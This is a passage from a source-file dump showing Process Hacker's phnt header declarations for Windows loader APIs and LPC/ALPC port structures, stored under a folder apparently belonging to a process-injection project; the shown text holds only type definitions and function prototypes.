LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;\n LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;\n} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA;\n\ntypedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)(\n _In_ ULONG NotificationReason,\n _In_ PLDR_DLL_NOTIFICATION_DATA NotificationData,\n _In_opt_ PVOID Context\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrRegisterDllNotification(\n _In_ ULONG Flags,\n _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,\n _In_ PVOID Context,\n _Out_ PVOID *Cookie\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrUnregisterDllNotification(\n _In_ PVOID Cookie\n );\n\n#endif\n\n// end_msdn\n\n// rev\nNTSYSAPI\nPUNICODE_STRING\nNTAPI\nLdrStandardizeSystemPath(\n _In_ PUNICODE_STRING SystemPath\n );\n\n// private\ntypedef struct _PS_MITIGATION_OPTIONS_MAP\n{\n ULONG_PTR Map[2];\n} PS_MITIGATION_OPTIONS_MAP, *PPS_MITIGATION_OPTIONS_MAP;\n\n// private\ntypedef struct _PS_MITIGATION_AUDIT_OPTIONS_MAP\n{\n ULONG_PTR Map[2];\n} PS_MITIGATION_AUDIT_OPTIONS_MAP, *PPS_MITIGATION_AUDIT_OPTIONS_MAP;\n\n// private\ntypedef struct _PS_SYSTEM_DLL_INIT_BLOCK\n{\n ULONG Size;\n ULONG_PTR SystemDllWowRelocation;\n ULONG_PTR SystemDllNativeRelocation;\n ULONG_PTR Wow64SharedInformation[16];\n ULONG RngData;\n union\n {\n ULONG Flags;\n struct\n {\n ULONG CfgOverride : 1;\n ULONG Reserved : 31;\n };\n };\n PS_MITIGATION_OPTIONS_MAP MitigationOptionsMap;\n ULONG_PTR CfgBitMap;\n ULONG_PTR CfgBitMapSize;\n ULONG_PTR Wow64CfgBitMap;\n ULONG_PTR Wow64CfgBitMapSize;\n PS_MITIGATION_AUDIT_OPTIONS_MAP MitigationAuditOptionsMap; // REDSTONE3\n} PS_SYSTEM_DLL_INIT_BLOCK, *PPS_SYSTEM_DLL_INIT_BLOCK;\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n// rev\nNTSYSAPI\nPPS_SYSTEM_DLL_INIT_BLOCK\nNTAPI\nLdrSystemDllInitBlock(\n VOID\n );\n#endif\n\n// Load as data table\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrAddLoadAsDataTable(\n _In_ PVOID Module,\n _In_ PWSTR FilePath,\n _In_ SIZE_T Size,\n _In_ HANDLE Handle\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrRemoveLoadAsDataTable(\n _In_ PVOID InitModule,\n _Out_opt_ PVOID *BaseModule,\n _Out_opt_ PSIZE_T Size,\n _In_ ULONG Flags\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetFileNameFromLoadAsDataTable(\n _In_ PVOID Module,\n _Out_ PVOID *pFileNamePrt\n );\n\n#endif\n\nNTSYSAPI\nNTSTATUS \nNTAPI \nLdrDisableThreadCalloutsForDll(\n _In_ PVOID DllImageBase\n );\n \n// Resources\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrAccessResource(\n _In_ PVOID DllHandle,\n _In_ PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry,\n _Out_opt_ PVOID *ResourceBuffer,\n _Out_opt_ ULONG *ResourceLength\n );\n\ntypedef struct _LDR_RESOURCE_INFO\n{\n ULONG_PTR Type;\n ULONG_PTR Name;\n ULONG_PTR Language;\n} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO;\n\n#define RESOURCE_TYPE_LEVEL 0\n#define RESOURCE_NAME_LEVEL 1\n#define RESOURCE_LANGUAGE_LEVEL 2\n#define RESOURCE_DATA_LEVEL 3\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindResource_U(\n _In_ PVOID DllHandle,\n _In_ PLDR_RESOURCE_INFO ResourceInfo,\n _In_ ULONG Level,\n _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindResourceDirectory_U(\n _In_ PVOID DllHandle,\n _In_ PLDR_RESOURCE_INFO ResourceInfo,\n _In_ ULONG Level,\n _Out_ PIMAGE_RESOURCE_DIRECTORY *ResourceDirectory\n );\n\n// private \ntypedef struct _LDR_ENUM_RESOURCE_ENTRY\n{\n union\n {\n ULONG_PTR NameOrId;\n PIMAGE_RESOURCE_DIRECTORY_STRING Name;\n struct\n {\n USHORT Id;\n USHORT NameIsPresent;\n };\n } Path[3];\n PVOID Data;\n ULONG Size;\n ULONG Reserved;\n} LDR_ENUM_RESOURCE_ENTRY, *PLDR_ENUM_RESOURCE_ENTRY;\n\n#define NAME_FROM_RESOURCE_ENTRY(RootDirectory, Entry) \\\n ((Entry)->NameIsString ? (ULONG_PTR)PTR_ADD_OFFSET((RootDirectory), (Entry)->NameOffset) : (Entry)->Id)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrEnumResources(\n _In_ PVOID DllHandle,\n _In_ PLDR_RESOURCE_INFO ResourceInfo,\n _In_ ULONG Level,\n _Inout_ ULONG *ResourceCount,\n _Out_writes_to_opt_(*ResourceCount, *ResourceCount) PLDR_ENUM_RESOURCE_ENTRY Resources\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindEntryForAddress(\n _In_ PVOID DllHandle,\n _Out_ PLDR_DATA_TABLE_ENTRY *Entry\n );\n\n#endif // (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// Module information\n\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION\n{\n HANDLE Section;\n PVOID MappedBase;\n PVOID ImageBase;\n ULONG ImageSize;\n ULONG Flags;\n USHORT LoadOrderIndex;\n USHORT InitOrderIndex;\n USHORT LoadCount;\n USHORT OffsetToFileName;\n UCHAR FullPathName[256];\n} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;\n\ntypedef struct _RTL_PROCESS_MODULES\n{\n ULONG NumberOfModules;\n RTL_PROCESS_MODULE_INFORMATION Modules[1];\n} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;\n\n// private\ntypedef struct _RTL_PROCESS_MODULE_INFORMATION_EX\n{\n USHORT NextOffset;\n RTL_PROCESS_MODULE_INFORMATION BaseInfo;\n ULONG ImageChecksum;\n ULONG TimeDateStamp;\n PVOID DefaultBase;\n} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrQueryProcessModuleInformation(\n _In_opt_ PRTL_PROCESS_MODULES ModuleInformation,\n _In_opt_ ULONG Size,\n _Out_ PULONG ReturnedSize\n );\n\ntypedef VOID (NTAPI *PLDR_ENUM_CALLBACK)(\n _In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, \n _In_ PVOID Parameter, \n _Out_ BOOLEAN *Stop\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrEnumerateLoadedModules(\n _In_ BOOLEAN ReservedFlag,\n _In_ PLDR_ENUM_CALLBACK EnumProc,\n _In_ PVOID Context\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrOpenImageFileOptionsKey(\n _In_ PUNICODE_STRING SubKey,\n _In_ BOOLEAN Wow64,\n _Out_ PHANDLE NewKeyHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrQueryImageFileKeyOption(\n _In_ HANDLE KeyHandle,\n _In_ PCWSTR ValueName,\n _In_ ULONG Type,\n _Out_ PVOID Buffer,\n _In_ ULONG BufferSize,\n _Out_opt_ PULONG ReturnedLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrQueryImageFileExecutionOptions(\n _In_ PUNICODE_STRING SubKey,\n _In_ PCWSTR ValueName,\n _In_ ULONG ValueSize,\n _Out_ PVOID Buffer,\n _In_ ULONG BufferSize,\n _Out_opt_ PULONG ReturnedLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrQueryImageFileExecutionOptionsEx(\n _In_ PUNICODE_STRING SubKey,\n _In_ PCWSTR ValueName,\n _In_ ULONG Type,\n _Out_ PVOID Buffer,\n _In_ ULONG BufferSize,\n _Out_opt_ PULONG ReturnedLength,\n _In_ BOOLEAN Wow64\n );\n\n// private\ntypedef struct _DELAYLOAD_PROC_DESCRIPTOR\n{\n ULONG ImportDescribedByName;\n union\n {\n PCSTR Name;\n ULONG Ordinal;\n } Description;\n} DELAYLOAD_PROC_DESCRIPTOR, *PDELAYLOAD_PROC_DESCRIPTOR;\n\n// private\ntypedef struct _DELAYLOAD_INFO\n{\n ULONG Size;\n PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor;\n PIMAGE_THUNK_DATA ThunkAddress;\n PCSTR TargetDllName;\n DELAYLOAD_PROC_DESCRIPTOR TargetApiDescriptor;\n PVOID TargetModuleBase;\n PVOID Unused;\n ULONG LastError;\n} DELAYLOAD_INFO, *PDELAYLOAD_INFO;\n\n// private\ntypedef PVOID (NTAPI *PDELAYLOAD_FAILURE_DLL_CALLBACK)(\n _In_ ULONG NotificationReason,\n _In_ PDELAYLOAD_INFO DelayloadInfo\n );\n\n// rev\ntypedef PVOID (NTAPI *PDELAYLOAD_FAILURE_SYSTEM_ROUTINE)(\n _In_ PCSTR DllName,\n _In_ PCSTR ProcName\n );\n\n// rev\nNTSYSAPI\nPVOID\nNTAPI\nLdrResolveDelayLoadedAPI(\n _In_ PVOID ParentModuleBase,\n _In_ PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor,\n _In_opt_ PDELAYLOAD_FAILURE_DLL_CALLBACK FailureDllHook,\n _In_opt_ PDELAYLOAD_FAILURE_SYSTEM_ROUTINE FailureSystemHook, // kernel32.DelayLoadFailureHook\n _Out_ PIMAGE_THUNK_DATA ThunkAddress,\n _Reserved_ ULONG Flags\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrResolveDelayLoadsFromDll(\n _In_ PVOID ParentBase,\n _In_ PCSTR TargetDllName,\n _Reserved_ ULONG Flags\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrSetDefaultDllDirectories(\n _In_ ULONG DirectoryFlags\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrShutdownProcess(\n VOID\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrShutdownThread(\n VOID\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrSetImplicitPathOptions(\n _In_ ULONG ImplicitPathOptions\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nLdrControlFlowGuardEnforced(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_19H1)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nLdrIsModuleSxsRedirected(\n _In_ PVOID DllHandle\n );\n#endif\n\n#endif // (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntlpcapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTLPCAPI_H\n#define _NTLPCAPI_H\n\n// Local Inter-process Communication\n\n#define PORT_CONNECT 0x0001\n#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1)\n\ntypedef struct _PORT_MESSAGE\n{\n union\n {\n struct\n {\n CSHORT DataLength;\n CSHORT TotalLength;\n } s1;\n ULONG Length;\n } u1;\n union\n {\n struct\n {\n CSHORT Type;\n CSHORT DataInfoOffset;\n } s2;\n ULONG ZeroInit;\n } u2;\n union\n {\n CLIENT_ID ClientId;\n double DoNotUseThisField;\n };\n ULONG MessageId;\n union\n {\n SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages\n ULONG CallbackId; // only valid for LPC_REQUEST messages\n };\n} PORT_MESSAGE, *PPORT_MESSAGE;\n\ntypedef struct _PORT_DATA_ENTRY\n{\n PVOID Base;\n ULONG Size;\n} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY;\n\ntypedef struct _PORT_DATA_INFORMATION\n{\n ULONG CountDataEntries;\n PORT_DATA_ENTRY DataEntries[1];\n} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION;\n\n#define LPC_REQUEST 1\n#define LPC_REPLY 2\n#define LPC_DATAGRAM 3\n#define LPC_LOST_REPLY 4\n#define LPC_PORT_CLOSED 5\n#define LPC_CLIENT_DIED 6\n#define LPC_EXCEPTION 7\n#define LPC_DEBUG_EVENT 8\n#define LPC_ERROR_EVENT 9\n#define LPC_CONNECTION_REQUEST 10\n\n#define LPC_KERNELMODE_MESSAGE (CSHORT)0x8000\n#define LPC_NO_IMPERSONATE (CSHORT)0x4000\n\n#define PORT_VALID_OBJECT_ATTRIBUTES OBJ_CASE_INSENSITIVE\n\n#ifdef _WIN64\n#define PORT_MAXIMUM_MESSAGE_LENGTH 512\n#else\n#define PORT_MAXIMUM_MESSAGE_LENGTH 256\n#endif\n\n#define LPC_MAX_CONNECTION_INFO_SIZE (16 * sizeof(ULONG_PTR))\n\n#define PORT_TOTAL_MAXIMUM_MESSAGE_LENGTH \\\n ((PORT_MAXIMUM_MESSAGE_LENGTH + sizeof(PORT_MESSAGE) + LPC_MAX_CONNECTION_INFO_SIZE + 0xf) & ~0xf)\n\ntypedef struct _LPC_CLIENT_DIED_MSG\n{\n PORT_MESSAGE PortMsg;\n LARGE_INTEGER CreateTime;\n} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG;\n\ntypedef struct _PORT_VIEW\n{\n ULONG Length;\n HANDLE SectionHandle;\n ULONG SectionOffset;\n SIZE_T ViewSize;\n PVOID ViewBase;\n PVOID ViewRemoteBase;\n} PORT_VIEW, *PPORT_VIEW;\n\ntypedef struct _REMOTE_PORT_VIEW\n{\n ULONG Length;\n SIZE_T ViewSize;\n PVOID ViewBase;\n} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;\n\n// WOW64 definitions\n\n// Except in a small number of special cases, WOW64 programs using the LPC APIs must use the 64-bit versions of the\n// PORT_MESSAGE, PORT_VIEW and REMOTE_PORT_VIEW data structures. Note that we take a different approach than the\n// official NT headers, which produce 64-bit versions in a 32-bit environment when USE_LPC6432 is defined.\n\ntypedef struct _PORT_MESSAGE64\n{\n union\n {\n struct\n {\n CSHORT DataLength;\n CSHORT TotalLength;\n } s1;\n ULONG Length;\n } u1;\n union\n {\n struct\n {\n CSHORT Type;\n CSHORT DataInfoOffset;\n } s2;\n ULONG ZeroInit;\n } u2;\n union\n {\n CLIENT_ID64 ClientId;\n double DoNotUseThisField;\n };\n ULONG MessageId;\n union\n {\n ULONGLONG ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages\n ULONG CallbackId; // only valid for LPC_REQUEST messages\n };\n} PORT_MESSAGE64, *PPORT_MESSAGE64;\n\ntypedef struct _LPC_CLIENT_DIED_MSG64\n{\n PORT_MESSAGE64 PortMsg;\n LARGE_INTEGER CreateTime;\n} LPC_CLIENT_DIED_MSG64, *PLPC_CLIENT_DIED_MSG64;\n\ntypedef struct _PORT_VIEW64\n{\n ULONG Length;\n ULONGLONG SectionHandle;\n ULONG SectionOffset;\n ULONGLONG ViewSize;\n ULONGLONG ViewBase;\n ULONGLONG ViewRemoteBase;\n} PORT_VIEW64, *PPORT_VIEW64;\n\ntypedef struct _REMOTE_PORT_VIEW64\n{\n ULONG Length;\n ULONGLONG ViewSize;\n ULONGLONG ViewBase;\n} REMOTE_PORT_VIEW64, *PREMOTE_PORT_VIEW64;\n\n// Port creation\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreatePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG MaxConnectionInfoLength,\n _In_ ULONG MaxMessageLength,\n _In_opt_ ULONG MaxPoolUsage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateWaitablePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG MaxConnectionInfoLength,\n _In_ ULONG MaxMessageLength,\n _In_opt_ ULONG MaxPoolUsage\n );\n\n// Port connection (client)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n _Inout_opt_ PPORT_VIEW ClientView,\n _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\n _Out_opt_ PULONG MaxMessageLength,\n _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation,\n _Inout_opt_ PULONG ConnectionInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSecureConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n _Inout_opt_ PPORT_VIEW ClientView,\n _In_opt_ PSID RequiredServerSid,\n _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\n _Out_opt_ PULONG MaxMessageLength,\n _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation,\n _Inout_opt_ PULONG ConnectionInformationLength\n );\n\n// Port connection (server)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtListenPort(\n _In_ HANDLE PortHandle,\n _Out_ PPORT_MESSAGE ConnectionRequest\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAcceptConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ PVOID PortContext,\n _In_ PPORT_MESSAGE ConnectionRequest,\n _In_ BOOLEAN AcceptConnection,\n _Inout_opt_ PPORT_VIEW ServerView,\n _Out_opt_ PREMOTE_PORT_VIEW ClientView\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCompleteConnectPort(\n _In_ HANDLE PortHandle\n );\n\n// General\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRequestPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRequestWaitReplyPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage,\n _Out_ PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplyPort(\n _In_ HANDLE PortHandle,\n _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReplyPort(\n _In_ HANDLE PortHandle,\n _Inout_ PPORT_MESSAGE ReplyMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReceivePort(\n _In_ HANDLE PortHandle,\n _Out_opt_ PVOID *PortContext,\n _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage,\n _Out_ PPORT_MESSAGE ReceiveMessage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReceivePortEx(\n _In_ HANDLE PortHandle,\n _Out_opt_ PVOID *PortContext,\n _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage,\n _Out_ PPORT_MESSAGE ReceiveMessage,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtImpersonateClientOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReadRequestData(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG DataEntryIndex,\n _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesRead\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWriteRequestData(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG DataEntryIndex,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ SIZE_T BufferSize,\n _Out_opt_ PSIZE_T NumberOfBytesWritten\n );\n\ntypedef enum _PORT_INFORMATION_CLASS\n{\n PortBasicInformation,\n PortDumpInformation\n} PORT_INFORMATION_CLASS;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationPort(\n _In_ HANDLE PortHandle,\n _In_ PORT_INFORMATION_CLASS PortInformationClass,\n _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Asynchronous Local Inter-process Communication\n\n// rev\ntypedef HANDLE ALPC_HANDLE, *PALPC_HANDLE;\n\n#define ALPC_PORFLG_ALLOW_LPC_REQUESTS 0x20000 // rev\n#define ALPC_PORFLG_WAITABLE_PORT 0x40000 // dbg\n#define ALPC_PORFLG_SYSTEM_PROCESS 0x100000 // dbg\n\n// symbols\ntypedef struct _ALPC_PORT_ATTRIBUTES\n{\n ULONG Flags;\n SECURITY_QUALITY_OF_SERVICE SecurityQos;\n SIZE_T MaxMessageLength;\n SIZE_T MemoryBandwidth;\n SIZE_T MaxPoolUsage;\n SIZE_T MaxSectionSize;\n SIZE_T MaxViewSize;\n SIZE_T MaxTotalSectionSize;\n ULONG DupObjectTypes;\n#ifdef _WIN64\n ULONG Reserved;\n#endif\n} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;\n\n// begin_rev\n#define ALPC_MESSAGE_SECURITY_ATTRIBUTE 0x80000000\n#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000\n#define ALPC_MESSAGE_CONTEXT_ATTRIBUTE 0x20000000\n#define ALPC_MESSAGE_HANDLE_ATTRIBUTE 0x10000000\n// end_rev\n\n// symbols\ntypedef struct _ALPC_MESSAGE_ATTRIBUTES\n{\n ULONG AllocatedAttributes;\n ULONG ValidAttributes;\n} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;\n\n// symbols\ntypedef struct _ALPC_COMPLETION_LIST_STATE\n{\n union\n {\n struct\n {\n ULONG64 Head : 24;\n ULONG64 Tail : 24;\n ULONG64 ActiveThreadCount : 16;\n } s1;\n ULONG64 Value;\n } u1;\n} ALPC_COMPLETION_LIST_STATE, *PALPC_COMPLETION_LIST_STATE;\n\n#define ALPC_COMPLETION_LIST_BUFFER_GRANULARITY_MASK 0x3f // dbg\n\n// symbols\ntypedef struct DECLSPEC_ALIGN(128) _ALPC_COMPLETION_LIST_HEADER\n{\n ULONG64 StartMagic;\n\n ULONG TotalSize;\n ULONG ListOffset;\n ULONG ListSize;\n ULONG BitmapOffset;\n ULONG BitmapSize;\n ULONG DataOffset;\n ULONG DataSize;\n ULONG AttributeFlags;\n ULONG AttributeSize;\n\n DECLSPEC_ALIGN(128) ALPC_COMPLETION_LIST_STATE State;\n ULONG LastMessageId;\n ULONG LastCallbackId;\n DECLSPEC_ALIGN(128) ULONG PostCount;\n DECLSPEC_ALIGN(128) ULONG ReturnCount;\n DECLSPEC_ALIGN(128) ULONG LogSequenceNumber;\n DECLSPEC_ALIGN(128) RTL_SRWLOCK UserLock;\n\n ULONG64 EndMagic;\n} ALPC_COMPLETION_LIST_HEADER, *PALPC_COMPLETION_LIST_HEADER;\n\n// private\ntypedef struct _ALPC_CONTEXT_ATTR\n{\n PVOID PortContext;\n PVOID MessageContext;\n ULONG Sequence;\n ULONG MessageId;\n ULONG CallbackId;\n} ALPC_CONTEXT_ATTR, *PALPC_CONTEXT_ATTR;\n\n// begin_rev\n#define ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS 0x10000\n#define ALPC_HANDLEFLG_DUPLICATE_SAME_ATTRIBUTES 0x20000\n#define ALPC_HANDLEFLG_DUPLICATE_INHERIT 0x80000\n// end_rev\n\n// private\ntypedef struct _ALPC_HANDLE_ATTR32\n{\n ULONG Flags;\n ULONG Reserved0;\n ULONG SameAccess;\n ULONG SameAttributes;\n ULONG Indirect;\n ULONG Inherit;\n ULONG Reserved1;\n ULONG Handle;\n ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex\n ULONG DesiredAccess;\n ULONG GrantedAccess;\n} ALPC_HANDLE_ATTR32, *PALPC_HANDLE_ATTR32;\n\n// private\ntypedef struct _ALPC_HANDLE_ATTR\n{\n ULONG Flags;\n ULONG Reserved0;\n ULONG SameAccess;\n ULONG SameAttributes;\n ULONG Indirect;\n ULONG Inherit;\n ULONG Reserved1;\n HANDLE Handle;\n PALPC_HANDLE_ATTR32 HandleAttrArray;\n ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex\n ULONG HandleCount;\n ACCESS_MASK DesiredAccess;\n ACCESS_MASK GrantedAccess;\n} ALPC_HANDLE_ATTR, *PALPC_HANDLE_ATTR;\n\n#define ALPC_SECFLG_CREATE_HANDLE 0x20000 // dbg\n#define ALPC_SECFLG_NOSECTIONHANDLE 0x40000\n// private\ntypedef struct _ALPC_SECURITY_ATTR\n{\n ULONG Flags;\n PSECURITY_QUALITY_OF_SERVICE QoS;\n ALPC_HANDLE ContextHandle; // dbg\n} ALPC_SECURITY_ATTR, *PALPC_SECURITY_ATTR;\n\n// begin_rev\n#define ALPC_VIEWFLG_NOT_SECURE 0x40000\n// end_rev\n\n// private\ntypedef struct _ALPC_DATA_VIEW_ATTR\n{\n ULONG Flags;\n ALPC_HANDLE SectionHandle;\n PVOID ViewBase; // must be zero on input\n SIZE_T ViewSize;\n} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR;\n\n// private\ntypedef enum _ALPC_PORT_INFORMATION_CLASS\n{\n AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION\n AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES\n AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT\n AlpcConnectedSIDInformation, // q: in SID\n AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION\n AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION\n AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION\n AlpcUnregisterCompletionListInformation, // s: VOID\n AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG\n AlpcRegisterCallbackInformation, // kernel-mode only\n AlpcCompletionListRundownInformation, // s: VOID\n AlpcWaitForPortReferences\n} ALPC_PORT_INFORMATION_CLASS;\n\n// private\ntypedef struct _ALPC_BASIC_INFORMATION\n{\n ULONG Flags;\n ULONG SequenceNo;\n PVOID PortContext;\n} ALPC_BASIC_INFORMATION, *PALPC_BASIC_INFORMATION;\n\n// private\ntypedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT\n{\n PVOID CompletionKey;\n HANDLE CompletionPort;\n} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, *PALPC_PORT_ASSOCIATE_COMPLETION_PORT;\n\n// private\ntypedef struct _ALPC_SERVER_INFORMATION\n{\n union\n {\n struct\n {\n HANDLE ThreadHandle;\n } In;\n struct\n {\n BOOLEAN ThreadBlocked;\n HANDLE ConnectedProcessId;\n UNICODE_STRING ConnectionPortName;\n } Out;\n };\n} ALPC_SERVER_INFORMATION, *PALPC_SERVER_INFORMATION;\n\n// private\ntypedef struct _ALPC_PORT_MESSAGE_ZONE_INFORMATION\n{\n PVOID Buffer;\n ULONG Size;\n} ALPC_PORT_MESSAGE_ZONE_INFORMATION, *PALPC_PORT_MESSAGE_ZONE_INFORMATION;\n\n// private\ntypedef struct _ALPC_PORT_COMPLETION_LIST_INFORMATION\n{\n PVOID Buffer; // PALPC_COMPLETION_LIST_HEADER\n ULONG Size;\n ULONG ConcurrencyCount;\n ULONG AttributeFlags;\n} ALPC_PORT_COMPLETION_LIST_INFORMATION, *PALPC_PORT_COMPLETION_LIST_INFORMATION;\n\n// private\ntypedef enum _ALPC_MESSAGE_INFORMATION_CLASS\n{\n AlpcMessageSidInformation, // q: out SID\n AlpcMessageTokenModifiedIdInformation, // q: out LUID\n AlpcMessageDirectStatusInformation,\n AlpcMessageHandleInformation, // ALPC_MESSAGE_HANDLE_INFORMATION\n MaxAlpcMessageInfoClass\n} ALPC_MESSAGE_INFORMATION_CLASS, *PALPC_MESSAGE_INFORMATION_CLASS;\n\ntypedef struct 